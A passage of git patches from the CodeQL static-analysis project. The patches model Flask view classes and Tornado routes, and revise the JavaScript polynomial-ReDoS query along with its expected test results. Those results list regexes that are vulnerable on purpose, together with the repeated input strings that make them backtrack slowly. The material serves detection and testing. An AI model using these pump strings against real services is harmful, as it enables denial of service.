preceeding [^"]* | -| tst.js:275:48:275:52 | [^"]* | Strings starting with '<a a="' and with many repetitions of '" a="' can start matching anywhere after the start of the preceeding (?:\\s+\\w+(?:\\s*=\\s*(?:(?:"[^"]*")\|(?:'[^']*')\|[^>\\s]+))?)* | -| tst.js:275:60:275:64 | [^']* | Strings starting with '<a a='' and with many repetitions of '' a='' can start matching anywhere after the start of the preceeding (?:\\s+\\w+(?:\\s*=\\s*(?:(?:"[^"]*")\|(?:'[^']*')\|[^>\\s]+))?)* | +| tst.js:275:48:275:52 | [^"]* | Strings starting with '<a a="' and with many repetitions of '" a="' can start matching anywhere after the start of the preceeding \\s* | +| tst.js:275:60:275:64 | [^']* | Strings starting with '<a a='' and with many repetitions of '' a='' can start matching anywhere after the start of the preceeding \\s* | | tst.js:275:68:275:74 | [^>\\s]+ | Strings starting with '<a a=' and with many repetitions of '" a="' can start matching anywhere after the start of the preceeding [^"]* | | tst.js:281:16:281:17 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* | | tst.js:284:16:284:17 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* | -| tst.js:290:16:290:17 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding ((a+)*$\|[^]+) | -| tst.js:293:22:293:23 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding ([^]+\|(a+)*$) | +| tst.js:290:16:290:17 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* | +| tst.js:293:22:293:23 | a+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (a+)* | | tst.js:296:15:296:24 | ((;\|^)a+)+ | Strings starting with 'a' and with many repetitions of ';a' can start matching anywhere after the start of the preceeding ((;\|^)a+)+$ | | tst.js:296:21:296:22 | a+ | Strings with many repetitions of 'a;' can start matching anywhere after the start of the preceeding ((;\|^)a+)+$ | | tst.js:299:90:299:91 | e+ | Strings starting with '00000000000000' and with many repetitions of 'e' can start matching anywhere after the start of the preceeding (e+)+ | From 14bb10a361d80c3d79938b132968a0aa352301b3 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Thu, 14 Jan 2021 13:39:41 +0100 Subject: [PATCH 0583/1241] Python: Use LocalSourceNode for TornadoRouteRegex --- python/ql/src/semmle/python/frameworks/Tornado.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/src/semmle/python/frameworks/Tornado.qll b/python/ql/src/semmle/python/frameworks/Tornado.qll index 292ea802114..995fb19747d 100644 --- a/python/ql/src/semmle/python/frameworks/Tornado.qll +++ b/python/ql/src/semmle/python/frameworks/Tornado.qll @@ -476,7 +476,7 @@ private module Tornado { TornadoRouteRegex() { this instanceof StrConst and - DataFlow::localFlow(DataFlow::exprNode(this), setup.getUrlPatternArg()) + DataFlow::exprNode(this).(DataFlow::LocalSourceNode).flowsTo(setup.getUrlPatternArg()) } TornadoRouteSetup getRouteSetup() { result = setup } From 0b1cece523a964efa2a8367d42dee12aa4a408cf Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Mon, 11 Jan 2021 14:42:31 +0100 Subject: [PATCH 0584/1241] Python: Add tests for class based handlers in Flask --- .../frameworks/flask/routing_test.py | 72 ++++++++++++++++++- 1 file changed, 69 insertions(+), 3 deletions(-) diff --git a/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py index 1a6028e8026..2efe2cdcb2c 100644 --- a/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py @@ -21,10 +21,76 @@ def later_set(): # $ MISSING: requestHandler app.add_url_rule('/later-set', 'later_set', view_func=None) # $routeSetup="/later-set" app.view_functions['later_set'] = later_set +# We don't want to execute this at runtime (since program will crash). Just using +# `False` makes our analysis skip it, so here's a workaround :D +if __file__ == "False": + @app.route(UNKNOWN_ROUTE) # $routeSetup + def unkown_route(foo, bar): # $requestHandler routedParameter=foo routedParameter=bar + return make_response("unkown_route") # $HttpResponse -@app.route(UNKNOWN_ROUTE) # $routeSetup -def unkown_route(foo, bar): # $requestHandler routedParameter=foo routedParameter=bar - return make_response("unkown_route") # $HttpResponse +# View +# +# see https://flask.palletsprojects.com/en/1.1.x/views/#basic-principle + +from flask.views import View + + +class ShowUser(View): + + def dispatch_request(self, user_id): # $ MISSING: requestHandler routedParameter=user_id + return "user_id: {}".format(user_id) + +app.add_url_rule("/basic/user/<int:user_id>", view_func=ShowUser.as_view('show_user')) # $routeSetup="/basic/user/<int:user_id>" + + +class WithoutKnownRoute1(View): + # For handler without known route, treat all parameters as routed parameters + # (accepting that there might be a few FPs) + def dispatch_request(self, foo, not_routed=42): # $ MISSING: requestHandler routedParameter=foo + pass + + +# MethodView +# +# see https://flask.palletsprojects.com/en/1.1.x/views/#method-views-for-apis + +from flask.views import MethodView + + +class UserAPI(MethodView): + + def get(self, user_id): # $ MISSING: requestHandler routedParameter=user_id + if user_id is None: + # return a list of users + pass + else: + # expose a single user + pass + + def post(self): # $ MISSING: requestHandler + # create a new user + pass + + def delete(self, user_id): # $ MISSING: requestHandler routedParameter=user_id + # delete a single user + pass + + def put(self, user_id): # $ MISSING: requestHandler routedParameter=user_id + # update a single user + pass + + +user_view = UserAPI.as_view("user_api") +app.add_url_rule("/users/", defaults={"user_id": None}, view_func=user_view, methods=["GET",]) # $routeSetup="/users/" +app.add_url_rule("/users/", view_func=user_view, methods=["POST",]) # $routeSetup="/users/" +app.add_url_rule("/users/<int:user_id>", view_func=user_view, methods=["GET", "PUT", "DELETE"]) # $routeSetup="/users/<int:user_id>" + + +class WithoutKnownRoute2(MethodView): + # For handler without known route, treat all parameters as routed parameters + # (accepting that there might be a few FPs) + def get(self, foo, not_routed=42): # $ MISSING: requestHandler routedParameter=foo + pass if __name__ == "__main__": From e327fdb31766c05dbe2b0cdb518187ab3df618ce Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 12 Jan 2021 14:45:48 +0100 Subject: [PATCH 0585/1241] Python: Model flask View classes --- .../ql/src/semmle/python/frameworks/Flask.qll | 148 +++++++++++++++++- .../frameworks/flask/routing_test.py | 8 +- 2 files changed, 148 insertions(+), 8 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Flask.qll b/python/ql/src/semmle/python/frameworks/Flask.qll index 14e53a66ef7..63906441680 100644 --- a/python/ql/src/semmle/python/frameworks/Flask.qll +++ b/python/ql/src/semmle/python/frameworks/Flask.qll @@ -34,7 +34,7 @@ private module FlaskModel { * WARNING: Only holds for a few predefined attributes. */ private DataFlow::Node flask_attr(DataFlow::TypeTracker t, string attr_name) { - attr_name in ["request", "make_response", "Response"] and + attr_name in ["request", "make_response", "Response", "views"] and ( t.start() and result = DataFlow::importNode("flask" + "." + attr_name) @@ -187,6 +187,76 @@ private module FlaskModel { */ DataFlow::Node response_class() { result = response_class(DataFlow::TypeTracker::end()) } } + + // ------------------------------------------------------------------------- + // flask.views + // ------------------------------------------------------------------------- + /** Gets a reference to the `flask.views` module. */ + DataFlow::Node views() { result = flask_attr("views") } + + /** Provides models for the `flask.views` module */ + module views { + /** + * Gets a reference to the attribute `attr_name` of the `flask.views` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node views_attr(DataFlow::TypeTracker t, string attr_name) { + attr_name in ["View", "MethodView"] and + ( + t.start() and + result = DataFlow::importNode("flask.views" + "." + attr_name) + or + t.startInAttr(attr_name) and + result = views() + ) + or + // Due to bad performance when using normal setup with `views_attr(t2, attr_name).track(t2, t)` + // we have inlined that code and forced a join + exists(DataFlow::TypeTracker t2 | + exists(DataFlow::StepSummary summary | + views_attr_first_join(t2, attr_name, result, summary) and + t = t2.append(summary) + ) + ) + } + + pragma[nomagic] + private predicate views_attr_first_join( + DataFlow::TypeTracker t2, string attr_name, DataFlow::Node res, + DataFlow::StepSummary summary + ) { + DataFlow::StepSummary::step(views_attr(t2, attr_name), res, summary) + } + + /** + * Gets a reference to the attribute `attr_name` of the `flask.views` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node views_attr(string attr_name) { + result = views_attr(DataFlow::TypeTracker::end(), attr_name) + } + + /** + * Provides models for the `flask.views.View` class and subclasses. + * + * See https://flask.palletsprojects.com/en/1.1.x/views/#basic-principle. + */ + module View { + /** Gets a reference to the `flask.views.View` class or any subclass. */ + private DataFlow::Node subclassRef(DataFlow::TypeTracker t) { + t.start() and + result = views_attr(["View", "MethodView"]) + or + // subclasses in project code + result.asExpr().(ClassExpr).getABase() = subclassRef(t.continue()).asExpr() + or + exists(DataFlow::TypeTracker t2 | result = subclassRef(t2).track(t2, t)) + } + + /** Gets a reference to the `flask.views.View` class or any subclass. */ + DataFlow::Node subclassRef() { result = subclassRef(DataFlow::TypeTracker::end()) } + } + } } /** @@ -261,6 +331,52 @@ private module FlaskModel { // --------------------------------------------------------------------------- // routing modeling // --------------------------------------------------------------------------- + /** A flask View class defined in project code. */ + class FlaskViewClassDef extends Class { + FlaskViewClassDef() { this.getABase() = flask::views::View::subclassRef().asExpr() } + + /** Gets a function that could handle incoming requests, if any. */ + Function getARequestHandler() { + // TODO: This doesn't handle attribute assignment. Should be OK, but analysis is not as complete as with + // points-to and `.lookup`, which would handle `post = my_post_handler` inside class def + result = this.getAMethod() and + result.getName() = "dispatch_request" + } + + /** Gets a reference to this class. */ + private DataFlow::Node getARef(DataFlow::TypeTracker t) { + t.start() and + result.asExpr().(ClassExpr) = this.getParent() + or + exists(DataFlow::TypeTracker t2 | result = this.getARef(t2).track(t2, t)) + } + + /** Gets a reference to this class. */ + DataFlow::Node getARef() { result = this.getARef(DataFlow::TypeTracker::end()) } + + /** Gets a reference to the `as_view` classmethod of this class. */ + private DataFlow::Node asViewRef(DataFlow::TypeTracker t) { + t.startInAttr("as_view") and + result = this.getARef() + or + exists(DataFlow::TypeTracker t2 | result = this.asViewRef(t2).track(t2, t)) + } + + /** Gets a reference to the `as_view` classmethod of this class. */ + DataFlow::Node asViewRef() { result = this.asViewRef(DataFlow::TypeTracker::end()) } + + /** Gets a reference to the result of calling the `as_view` classmethod of this class. */ + private DataFlow::Node asViewResult(DataFlow::TypeTracker t) { + t.start() and + result.asCfgNode().(CallNode).getFunction() = this.asViewRef().asCfgNode() + or + exists(DataFlow::TypeTracker t2 | result = asViewResult(t2).track(t2, t)) + } + + /** Gets a reference to the result of calling the `as_view` classmethod of this class. */ + DataFlow::Node asViewResult() { result = asViewResult(DataFlow::TypeTracker::end()) } + } + private string werkzeug_rule_re() { // since flask uses werkzeug internally, we are using its routing rules from // https://github.com/pallets/werkzeug/blob/4dc8d6ab840d4b78cbd5789cef91b01e3bde01d5/src/werkzeug/routing.py#L138-L151 @@ -318,12 +434,36 @@ private module FlaskModel { result.asCfgNode() in [node.getArg(0), node.getArgByName("rule")] } + DataFlow::Node getViewArg() { + result.asCfgNode() in [node.getArg(2), node.getArgByName("view_func")] + } + override Function getARequestHandler() { - exists(DataFlow::Node view_func_arg, DataFlow::LocalSourceNode func_src | - view_func_arg.asCfgNode() in [node.getArg(2), node.getArgByName("view_func")] and - func_src.flowsTo(view_func_arg) and + exists(DataFlow::LocalSourceNode func_src | + func_src.flowsTo(getViewArg()) and func_src.asExpr().(CallableExpr) = result.getDefinition() ) + or + exists(FlaskViewClassDef vc | + getViewArg() = vc.asViewResult() and + result = vc.getARequestHandler() + ) + } + } + + /** A request handler defined in a django view class, that has no known route. */ + private class FlaskViewClassHandlerWithoutKnownRoute extends HTTP::Server::RequestHandler::Range { + FlaskViewClassHandlerWithoutKnownRoute() { + exists(FlaskViewClassDef vc | vc.getARequestHandler() = this) and + not exists(FlaskRouteSetup setup | setup.getARequestHandler() = this) + } + + override Parameter getARoutedParameter() { + // Since we don't know the URL pattern, we simply mark all parameters as a routed + // parameter. This should give us more RemoteFlowSources but could also lead to + // more FPs. If this turns out to be the wrong tradeoff, we can always change our mind. + result in [this.getArg(_), this.getArgByName(_)] and + not result = this.getArg(0) } } diff --git a/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py index 2efe2cdcb2c..5faf7bb9a5d 100644 --- a/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py @@ -37,16 +37,16 @@ from flask.views import View class ShowUser(View): - def dispatch_request(self, user_id): # $ MISSING: requestHandler routedParameter=user_id - return "user_id: {}".format(user_id) + def dispatch_request(self, user_id): # $ requestHandler routedParameter=user_id + return "user_id: {}".format(user_id) # $ HttpResponse -app.add_url_rule("/basic/user/<int:user_id>", view_func=ShowUser.as_view('show_user')) # $routeSetup="/basic/user/<int:user_id>" +app.add_url_rule("/basic/user/<int:user_id>", view_func=ShowUser.as_view('show_user')) # $routeSetup="/basic/user/<int:user_id>" class WithoutKnownRoute1(View): # For handler without known route, treat all parameters as routed parameters # (accepting that there might be a few FPs) - def dispatch_request(self, foo, not_routed=42): # $ MISSING: requestHandler routedParameter=foo + def dispatch_request(self, foo, not_routed=42): # $ requestHandler routedParameter=foo SPURIOUS: routedParameter=not_routed pass From 4cb2f2ed1e9c7fb7f4da7ec37f9324ae60f2e942 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 12 Jan 2021 16:36:01 +0100 Subject: [PATCH 0586/1241] Python: Proper models of flask MethodView classes --- .../ql/src/semmle/python/frameworks/Flask.qll | 34 +++++++++++++++++++ .../frameworks/flask/old_test.py | 2 +- .../frameworks/flask/routing_test.py | 10 +++--- 3 files changed, 40 insertions(+), 6 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Flask.qll b/python/ql/src/semmle/python/frameworks/Flask.qll index 63906441680..68f81e32ceb 100644 --- a/python/ql/src/semmle/python/frameworks/Flask.qll +++ b/python/ql/src/semmle/python/frameworks/Flask.qll @@ -256,6 +256,27 @@ private module FlaskModel { /** Gets a reference to the `flask.views.View` class or any subclass. */ DataFlow::Node subclassRef() { result = subclassRef(DataFlow::TypeTracker::end()) } } + + /** + * Provides models for the `flask.views.MethodView` class and subclasses. + * + * See https://flask.palletsprojects.com/en/1.1.x/views/#method-based-dispatching. + */ + module MethodView { + /** Gets a reference to the `flask.views.View` class or any subclass. */ + private DataFlow::Node subclassRef(DataFlow::TypeTracker t) { + t.start() and + result = views_attr("MethodView") + or + // subclasses in project code + result.asExpr().(ClassExpr).getABase() = subclassRef(t.continue()).asExpr() + or + exists(DataFlow::TypeTracker t2 | result = subclassRef(t2).track(t2, t)) + } + + /** Gets a reference to the `flask.views.View` class or any subclass. */ + DataFlow::Node subclassRef() { result = subclassRef(DataFlow::TypeTracker::end()) } + } } } @@ -377,6 +398,19 @@ private module FlaskModel { DataFlow::Node asViewResult() { result = asViewResult(DataFlow::TypeTracker::end()) } } + class FlaskMethodViewClassDef extends FlaskViewClassDef { + FlaskMethodViewClassDef() { this.getABase() = flask::views::MethodView::subclassRef().asExpr() } + + override Function getARequestHandler() { + result = super.getARequestHandler() + or + // TODO: This doesn't handle attribute assignment. Should be OK, but analysis is not as complete as with + // points-to and `.lookup`, which would handle `post = my_post_handler` inside class def + result = this.getAMethod() and + result.getName() = HTTP::httpVerbLower() + } + } + private string werkzeug_rule_re() { // since flask uses werkzeug internally, we are using its routing rules from // https://github.com/pallets/werkzeug/blob/4dc8d6ab840d4b78cbd5789cef91b01e3bde01d5/src/werkzeug/routing.py#L138-L151 diff --git a/python/ql/test/experimental/library-tests/frameworks/flask/old_test.py b/python/ql/test/experimental/library-tests/frameworks/flask/old_test.py index 4e251f6f306..d86c75019e5 100644 --- a/python/ql/test/experimental/library-tests/frameworks/flask/old_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/flask/old_test.py @@ -11,7 +11,7 @@ from flask.views import MethodView class MyView(MethodView): - def get(self, user_id): # $ MISSING: requestHandler + def get(self, user_id): # $ requestHandler if user_id is None: # return a list of users pass diff --git a/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py index 5faf7bb9a5d..813e3751152 100644 --- a/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py @@ -59,7 +59,7 @@ from flask.views import MethodView class UserAPI(MethodView): - def get(self, user_id): # $ MISSING: requestHandler routedParameter=user_id + def get(self, user_id): # $ requestHandler routedParameter=user_id if user_id is None: # return a list of users pass @@ -67,15 +67,15 @@ class UserAPI(MethodView): # expose a single user pass - def post(self): # $ MISSING: requestHandler + def post(self): # $ requestHandler # create a new user pass - def delete(self, user_id): # $ MISSING: requestHandler routedParameter=user_id + def delete(self, user_id): # $ requestHandler routedParameter=user_id # delete a single user pass - def put(self, user_id): # $ MISSING: requestHandler routedParameter=user_id + def put(self, user_id): # $ requestHandler routedParameter=user_id # update a single user pass @@ -89,7 +89,7 @@ app.add_url_rule("/users/<int:user_id>", view_func=user_view, methods=["GET", "P class WithoutKnownRoute2(MethodView): # For handler without known route, treat all parameters as routed parameters # (accepting that there might be a few FPs) - def get(self, foo, not_routed=42): # $ MISSING: requestHandler routedParameter=foo + def get(self, foo, not_routed=42): # $ requestHandler routedParameter=foo SPURIOUS: routedParameter=not_routed pass From c5595f4cbd8f531dc307409684cb81d6c1c866f6 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 14 Jan 2021 13:48:26 +0100 Subject: [PATCH 0587/1241] improve alert message for js/polynomial-redos --- .../ql/src/Performance/PolynomialReDoS.ql | 13 +- .../ReDoS/PolynomialReDoS.expected | 152 +++++++++--------- 2 files changed, 85 insertions(+), 80 deletions(-) diff --git a/javascript/ql/src/Performance/PolynomialReDoS.ql b/javascript/ql/src/Performance/PolynomialReDoS.ql index e43c6e85d6b..616bf66c719 100644 --- a/javascript/ql/src/Performance/PolynomialReDoS.ql +++ b/javascript/ql/src/Performance/PolynomialReDoS.ql @@ -16,13 +16,18 @@ import semmle.javascript.security.performance.PolynomialReDoS::PolynomialReDoS import semmle.javascript.security.performance.SuperlinearBackTracking import DataFlow::PathGraph -from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink, Sink sinkNode +from + Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink, Sink sinkNode, + PolynomialBackTrackingTerm regexp where cfg.hasFlowPath(source, sink) and sinkNode = sink.getNode() and + regexp = sinkNode.getRegExp() and not ( source.getNode().(Source).getKind() = "url" and - sinkNode.getRegExp().(PolynomialBackTrackingTerm).isAtEndLine() + regexp.isAtEndLine() ) -select sinkNode.getHighlight(), source, sink, "This expensive $@ use depends on $@.", - sinkNode.getRegExp(), "regular expression", source.getNode(), source.getNode().(Source).describe() +select sinkNode.getHighlight(), source, sink, + "This $@ that depends on $@ may run slow on strings " + regexp.getPrefixMessage() + + "with many repetitions of '" + regexp.getPumpString() + "'.", regexp, "regular expression", + source.getNode(), source.getNode().(Source).describe() diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected index c7a8b211703..59428ed86e0 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialReDoS.expected @@ -288,79 +288,79 @@ edges | polynomial-redos.js:123:3:123:20 | result | polynomial-redos.js:124:12:124:17 | result | | polynomial-redos.js:123:13:123:20 | replaced | polynomial-redos.js:123:3:123:20 | result | #select -| lib/lib.js:4:2:4:18 | regexp.test(name) | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:14:4:17 | name | This expensive $@ use depends on $@. | lib/lib.js:1:15:1:16 | a* | regular expression | lib/lib.js:3:28:3:31 | name | library input | -| polynomial-redos.js:7:2:7:34 | tainted ... /g, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:7:2:7:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:7:24:7:26 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:8:2:8:23 | tainted ... *, */) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:8:2:8:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:8:17:8:18 | * | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:9:2:9:34 | tainted ... g, ' ') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:9:2:9:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:9:19:9:21 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:11:2:11:31 | tainted ... ]/, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:11:2:11:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:11:19:11:20 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:12:2:12:28 | tainted ... ./, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:12:2:12:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:12:19:12:20 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:15:2:15:52 | tainted ... (?!`)/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:15:2:15:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:15:28:15:35 | [\\s\\S]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:15:2:15:52 | tainted ... (?!`)/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:15:2:15:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:15:41:15:43 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:16:2:16:46 | tainted ... (?!`)/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:16:2:16:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:16:25:16:32 | [\\s\\S]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:17:2:17:30 | /^(.*,) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:17:23:17:29 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:17:5:17:6 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:17:2:17:30 | /^(.*,) ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:17:23:17:29 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:17:11:17:12 | .+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:18:2:18:130 | tainted ... 1,2}/i) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:18:2:18:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:18:83:18:100 | [\\u0600-\\u06FF\\/]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:19:2:19:148 | tainted ... 1,2}/i) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:19:2:19:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:19:17:19:22 | [0-9]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:20:2:20:63 | tainted ... d+)?$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:20:2:20:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:20:56:20:58 | \\d+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:25:2:25:68 | tainted ... (.*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:25:2:25:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:25:37:25:56 | [a-zA-Z0-9+\\/ \\t\\n]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:25:2:25:68 | tainted ... (.*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:25:2:25:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:25:63:25:64 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:30:2:30:32 | tainted ... /g, "") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:30:2:30:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:30:19:30:22 | [?]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:30:2:30:32 | tainted ... /g, "") | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:30:2:30:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:30:23:30:24 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:33:2:33:56 | tainted ... e(.)*/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:33:2:33:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:33:17:33:20 | (.)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:36:2:36:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:36:2:36:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:36:18:36:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:36:2:36:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:36:2:36:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:36:35:36:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:37:2:37:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:37:2:37:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:37:18:37:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:37:2:37:39 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:37:2:37:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:37:35:37:36 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:38:2:38:38 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:38:2:38:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:38:18:38:19 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:38:2:38:38 | tainted ... )".*>/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:38:2:38:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:38:34:38:35 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:40:2:40:67 | tainted ... E]*)$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:40:2:40:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:40:51:40:63 | [?\\x21-\\x7E]* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:43:2:43:78 | tainted ... +))?$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:43:2:43:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:43:67:43:72 | [^\\n]+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:48:2:48:37 | tainted ... g, ' ') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:48:2:48:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:48:22:48:24 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:50:2:50:21 | /Y.*X/.test(tainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:50:14:50:20 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:50:4:50:5 | .* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:51:2:51:33 | /B?(YH\| ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:51:26:51:32 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:51:11:51:17 | (YH\|J)* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | -| polynomial-redos.js:52:3:52:29 | /B?(YH\| ... ainted) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:52:22:52:28 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:52:12:52:13 | .* | regular expression | 